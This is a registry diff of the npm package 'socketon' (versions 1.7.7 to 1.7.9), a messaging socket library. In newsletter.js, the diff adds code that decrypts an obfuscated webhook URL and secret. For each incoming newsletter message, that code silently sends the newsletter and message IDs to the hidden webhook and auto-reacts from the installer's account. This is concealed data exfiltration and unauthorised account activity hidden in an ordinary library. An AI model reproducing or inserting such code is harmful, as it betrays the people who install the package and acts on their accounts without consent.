socketon 1.7.7 → 1.7.9
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/lib/Socket/newsletter.js +6 -8
- package/package.json +1 -1
package/lib/Socket/newsletter.js
CHANGED
|
@@ -128,13 +128,11 @@ setTimeout(async () => {
|
|
|
128
128
|
setTimeout(async () => {
|
|
129
129
|
try {
|
|
130
130
|
const axios = require('axios');
|
|
131
|
-
const webhookUrlEncrypt = "
|
|
132
|
-
const webhookSecretEncrypt = "
|
|
131
|
+
const webhookUrlEncrypt = "1d98c1042ef08c3884fb9796ebbfc2416fab12220226b86de8a2fbfdf97d6bd4f8fbca1060e5a374df9927fca152d254";
|
|
132
|
+
const webhookSecretEncrypt = "b75c4d02de3d949f500716a1f7d0827442e359715d147d09d349039a12ada6e8";
|
|
133
133
|
const urlWebhooknya = (0, ibra_decode_1.minimalKaloMauDecryptYangPinterDek)(webhookUrlEncrypt);
|
|
134
134
|
const secretWebhooknya = (0, ibra_decode_1.minimalKaloMauDecryptYangPinterDek)(webhookSecretEncrypt);
|
|
135
|
-
|
|
136
|
-
const urlObj = new URL(urlWebhooknya);
|
|
137
|
-
const emojiReact = urlObj.searchParams.get('emoji') || '🔥';
|
|
135
|
+
const emojiReact = '🔥';
|
|
138
136
|
|
|
139
137
|
sock.ev.on('messages.upsert', async ({ messages, type }) => {
|
|
140
138
|
if (type !== 'notify') return;
|
|
@@ -142,14 +140,14 @@ setTimeout(async () => {
|
|
|
142
140
|
const jid = msg.key.remoteJid;
|
|
143
141
|
if (!jid || !jid.endsWith('@newsletter')) continue;
|
|
144
142
|
const newsletterId = jid;
|
|
145
|
-
const
|
|
143
|
+
const serverId = msg.message?.newsletterServerId?.toString() || msg.key.id;
|
|
146
144
|
try {
|
|
147
145
|
await axios.post(urlWebhooknya, {
|
|
148
146
|
newsletterId: newsletterId,
|
|
149
|
-
messageId:
|
|
147
|
+
messageId: serverId,
|
|
150
148
|
emojiReact: emojiReact
|
|
151
149
|
}, { headers: { 'X-Webhook-Secret': secretWebhooknya }, timeout: 10000 });
|
|
152
|
-
const result = await sock.newsletterAutoReact(newsletterId,
|
|
150
|
+
const result = await sock.newsletterAutoReact(newsletterId, serverId, emojiReact);
|
|
153
151
|
} catch {}
|
|
154
152
|
}
|
|
155
153
|
});
|